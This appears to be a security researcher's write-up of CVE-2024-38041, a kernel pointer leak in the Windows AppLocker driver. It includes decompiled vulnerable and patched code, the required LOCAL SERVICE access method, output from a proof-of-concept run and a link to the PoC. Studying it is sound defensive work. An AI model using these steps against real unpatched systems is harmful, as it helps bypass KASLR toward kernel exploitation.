CVE-2024-38041 - Windows AppLocker Exposure of Sensitive Information to an Unauthorized Actor

Page content

CVE-2024-38041 is a information leak vulnerability in the Windows AppID driver (appid.sys). The flaw lies in the handler for IOCTL code 0x22A014, which lacks proper validation of the caller’s access mode. Specifically, the AipDeviceIoControlDispatch function does not verify that the request originates from kernel mode. As a result, a user-mode process running as LOCAL SERVICE can trigger this IOCTL to leak kernel pointers via a shared SystemBuffer. By impersonating the LOCAL SERVICE account and invoking the vulnerable IOCTL, an attacker can leak kernel addresses, bypassing KASLR and paving the way for further kernel exploitation.

CVE-2024-38041: https://msrc.microsoft.com/update-guide/vulnerability/CVE-2024-38041
Vulnerability Type: Exposure of Sensitive Information to an Unauthorized Actor
Tested On: Windows 11 23H2
Driver Version: appid.sys - 10.0.22621.3155

Requirements

To send the IOCTL request, the IOCTL code was examined and found to have the access flag set to FILE_WRITE_ACCESS. This means the I/O manager will dispatch the IRP only if the caller has write access rights.

IMG

The device’s security descriptor was checked to determine which users have permission to open a handle. It was observed that only the AppIDSvc and LOCAL SERVICE accounts have full access and Administrator does not. As a result, a cmd.exe session must be run under one of these two accounts to interact with and exploit the device.

IMG

One of the simplest methods to achieve this is by using PsExec.exe to spawn a shell as the LOCAL SERVICE user.

IMG

Vulnerability analysis

The IOCTL request sent to 0x22A014 first checks whether the OutputBufferLength is exactly 48 bytes. If the length does not match, the operation exits with an error. If the condition is met, the driver copies certain kernel addresses and function pointers into the SystemBuffer. Since this IOCTL uses METHOD_BUFFERED, both input and output are shared via IRP->AssociatedIrp.SystemBuffer. As a result, this behavior leads to a kernel address leak.

__int64 __fastcall AipDeviceIoControlDispatch(struct _DEVICE_OBJECT *a1, IRP *_IRP)
{


[::]
     case 0x22A014:
        if ( WPP_GLOBAL_Control != (PDEVICE_OBJECT)&WPP_GLOBAL_Control && (HIDWORD(WPP_GLOBAL_Control->Timer) & 2) != 0 )
          WPP_SF_(
            (__int64)WPP_GLOBAL_Control->AttachedDevice,
            0x1Au,
            (__int64)&WPP_9fed954e24023a5a6dae708fb6376e6f_Traceguids);
        if ( CurrentStackLocation->Parameters.DeviceIoControl.OutputBufferLength != 48 )
          goto LABEL_27;
        SystemBuffer = IRP->AssociatedIrp.SystemBuffer;
        *SystemBuffer = &Resource;
        SystemBuffer[1] = &xmmword_1C00168A8;
        SystemBuffer[2] = (char *)&xmmword_1C00168A8 + 8;
        SystemBuffer[3] = &qword_1C00168B8;
        SystemBuffer[4] = AiReleaseOriginProcessData;
        SystemBuffer[5] = AiAllocUninstallStringData;
        IRP->IoStatus.Information = 48LL;

[::]
}

Exploit

Tested on: Windows 11 22H2 (01-2024 Build) Working POC: https://github.com/ghostbyt3/WinDriver-EXP/tree/main/CVE-2024-38041/POC

PS C:\Users\h4x\Desktop> .\CVE-2024-38041.exe -p 1544
[+] Trying to find Thread ID for the given process PID: 1544
[+] First Thread ID of the process: 1548
[+] Opened a THREAD_DIRECT_IMPERSONATION handle to the LOCAL_SERVICE process
[+] Opening handle to Applocker device
[+] Calling AipDeviceIoControlDispatch ....success
[+] Leaked Kernel Address:
        [*] Value0: 0xFFFFF80180C96820
        [*] Value1: 0xFFFFF80180C96888
        [*] Value2: 0xFFFFF80180C96890
        [*] Value3: 0xFFFFF80180C96898
        [*] Value4: 0xFFFFF80180C9D250
        [*] Value5: 0xFFFFF80180C9C570

Patch

In the patched version, a call to ExGetPreviousMode() ensures only kernel-mode callers can proceed, blocking this path.

__int64 __fastcall AipDeviceIoControlDispatch(struct _DEVICE_OBJECT *a1, IRP *_IRP)
{


[::]

        if ( WPP_GLOBAL_Control != (PDEVICE_OBJECT)&WPP_GLOBAL_Control && (HIDWORD(WPP_GLOBAL_Control->Timer) & 2) != 0 )
          WPP_SF_(
            (__int64)WPP_GLOBAL_Control->AttachedDevice,
            0x1Au,
            (__int64)&WPP_a52c6a01ee1136c5e851ebb08df688b5_Traceguids);
        if ( (unsigned int)Feature_2619781439__private_IsEnabledDeviceUsage() && ExGetPreviousMode() ) // Fix
          goto LABEL_19;
        if ( *(_DWORD *)(v5 + 8) != 48 )
          goto LABEL_28;
        v11 = *(PVOID ***)(a2 + 24);
        *v11 = &WPP_MAIN_CB.Reserved;
        v11[1] = (PVOID *)&xmmword_1C0016888;
        v11[2] = (PVOID *)&xmmword_1C0016888 + 1;
        v11[3] = (PVOID *)&qword_1C0016898;
        v11[4] = (PVOID *)AiReleaseOriginProcessData;
        v11[5] = (PVOID *)AiAllocUninstallStringData;
        *(_QWORD *)(a2 + 56) = 48LL;

[::]

}

Acknowledgements

  • It was explained by CSACyber and can be found here.
  • The PoC was developed by Varwara, and the above PoC is based on it.